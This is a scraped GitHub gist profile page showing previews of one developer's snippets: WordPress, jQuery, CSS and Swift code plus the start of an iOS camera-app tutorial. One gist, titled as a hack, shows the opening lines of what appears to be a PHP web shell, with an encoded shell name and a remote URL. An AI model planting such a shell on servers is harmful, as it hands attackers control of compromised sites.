Skip to content

Instantly share code, notes, and snippets.

View coquer's full-sized avatar

Jorge Y. C. Rodriguez coquer

View GitHub Profile

Building our first Camera App

In the first ever SwiftCast TV screencast. We will teach you how to build a Camera application that allows you to take a photo, select an existing photo, and view our selected photo. Let’s get started.

Chapter 1: Setting up our Application

Create a new Application by clicking "Create a new Xcode project". When asked to Choose a template for your new project, we are going to select "Single View Application" under iOS/Application. Then click the "Next" button.

@coquer
coquer / gist:ab84752dcd98dcb4099b
Created January 14, 2015 12:58
Hack made by: Giud@M@ligno
<?
$sh_id = "LT1dIGZ4MCBbPS0=";
$sh_name = base64_decode($sh_id);
$sh_mainurl = "http://fx0.name";
$html_start = '<html><head>
@coquer
coquer / gist:b090b54765e92ad073f3
Created January 26, 2015 12:55
WP-protect site with pass
<?php
/*
Plugin Name: Admin Only Sections
Plugin URI: http://jorgerodriguez.dk/
Description: Block non admin users
Version: 1.0.3
Author: Jorge Rodriguez (jycr753)
Author URI: http://jorgerodriguez.dk/
*/
$wpba_required_capability = 'edit_others_posts';
@coquer
coquer / gist:050ed6ea84def6fb2be1
Last active August 29, 2015 14:14
BootStrapLight Box Prepare URL
function changeVimeoURiToEnableLightBox($url){
$video_url = parse_url($url);
if($video_url['host'] == 'www.vimeo.com' || $video_url['host'] == 'vimeo.com'){
return 'player.'.$video_url['host'].'/video'.$video_url['path'];
}
return $url;
}
@coquer
coquer / gist:c6d805df0a38f9cc2920
Created January 31, 2015 11:12
return from function
array(3) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "vimeo.com"
["path"]=>
string(9) "/80629469"
}
player.vimeo.com/video/80629469
@coquer
coquer / gist:92804d34f8118cf06efe
Created February 6, 2015 10:00
Resize DOM depending of biggest child Size
jQuery(_parent_class).each(function(i, obj) {
var xa = jQuery(obj).find(_find_class_name),
h = jQuery(xa).map(function(){
return jQuery(this).height();
});
var are = h.context.firstElementChild.clientHeight;
jQuery(_find_class_name).css('height', h.context.firstElementChild.clientHeight);
});
@coquer
coquer / functions.php
Created February 25, 2015 11:11
Function to be added
function addCustomScripts() {
wp_enqueue_script( 'gray-scale-functions', get_template_directory_uri().'/js/functions.js', array( 'jquery' ), false, false);
wp_enqueue_script( 'gray-scale', get_template_directory_uri().'/js/grayscale.js', array( 'jquery' ), false, false);
}
add_action( 'wp_enqueue_scripts', 'addCustomScripts' );
@coquer
coquer / style.css
Created February 25, 2015 11:12
to be added in the style.css
.teamMemberInner img {
filter: url('js/filters.svg#grayscale');
filter: gray;
-webkit-filter: grayscale(1);
-webkit-transition: all 0.7s ease;
-moz-transition: all 0.7s ease;
-ms-transition: all 0.7s ease;
-o-transition: all 0.7s ease;
transition: all 0.7s ease;
}
@coquer
coquer / included.php
Created March 3, 2015 10:07
Wordpress Finding Files inside A mess
$included_files = get_included_files();
$stylesheet_dir = str_replace( '\\', '/', get_stylesheet_directory() );
$template_dir = str_replace( '\\', '/', get_template_directory() );
foreach ( $included_files as $key => $path ) {
$path = str_replace( '\\', '/', $path );
if ( false === strpos( $path, $stylesheet_dir ) && false === strpos( $path, $template_dir ) )
unset( $included_files[$key] );
// Playground - noun: a place where people can play
import UIKit
// Setup the calendar object
let calendar = NSCalendar.currentCalendar()
// Set up date object
let date = NSDate()